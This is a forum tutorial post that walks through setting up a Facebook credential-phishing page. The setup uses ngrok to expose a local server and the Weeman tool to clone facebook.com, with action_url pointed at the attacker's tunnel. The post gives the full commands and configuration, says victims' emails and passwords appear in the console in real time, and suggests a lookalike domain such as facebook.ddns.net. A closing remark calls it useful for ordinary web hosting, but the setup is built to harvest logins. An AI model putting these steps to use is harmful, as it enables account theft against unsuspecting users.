Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


Tutorial Mount a little server and use it to get activity from users filter_list
Author
Message
Mount a little server and use it to get activity from users #1
FIRST STEP:

NOTE: This script is very old (a lot of years) and i am not sure if the errors downloading webpages are from old request or an issue in my isp or network. I tested before doing the tut and it worked using a localserver. Don't be mad Sad
if you have problems when downloading package you will visit this site: NGROK

Go to https://ngrok.com/ and sign up a free account (remember that password must contain 10 characters)

Then run following commands in your terminal:


Code:
curl https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip --output ngrok.zip 7z x ngrok.zip ./ngrok authtoken <AUTH_TOKEN_GENERATED_IN_YOUR_DASHBOARD>


Your dashboard and authtoken should be in: https://dashboard.ngrok.com/get-started/your-authtoken

it will say something like this:

Authtoken saved to configuration file: /home/kali/.ngrok2/ngrok.yml

later run following command to setup ngrok as a background service (will run until you close the terminal)
SAVE in a notepad the xxxx.ngrok.io forwading url!

SECOND STEP:

open another terminal and run following commands:

Code:
git clone https://github.com/samyoyo/weeman.git cd weeman && chmod 777 weeman.py python weeman.py

when open, run show command to see the setup screen showing u the config state.

by default you will see something like this:

[Image: VyZE0RU.png]

run following commands as an example of configuration:
Code:
(weeman ) : set url https://www.facebook.com/ (weeman ) : set action_url xxxx.ngrok.io (weeman ) : set port 8080 (weeman ) : run


note: if you receive following error:

[16:49:34] Trying to get facebook.com  ...
[16:49:34] Downloadng wepage ...
[16:49:34] Error: Weeman recived error!


you will try to run a localhost server and change url to https://localhost

note 2: if ngrok url says "Failed to complete tunnel connection" you must setup a localhost or open ports (default is 8080) in your router or firewall settings.

in ngrok console you will see something like:

HTTP Requests                                                                                                                       
-------------                                                                                                                       
                                                                                                                                   
Code:
GET /favicon.ico              502 Bad Gateway                                                                                      GET /                          502 Bad Gateway

weeman and ngrok works like a non dinamical ip server Smile

you can also signup in noip.com and register a more beaty domain like facebook.ddns.net and redirect it to your ngrok url.

You must get 200 is OK.

Your console must see like this, in weeman console should appear all activity from the site at real time (like when user put email and password):

[Image: Y8AUpdK.png]

That's all, enjoy Smile

Note: this same tutorial will be useful if you want to mount a webserver and share your website.

I recommend xampp as a good start
i'm just looking for knowledge, not pretending be great, just wanting to do stuffs
fan of internet and its story

Reply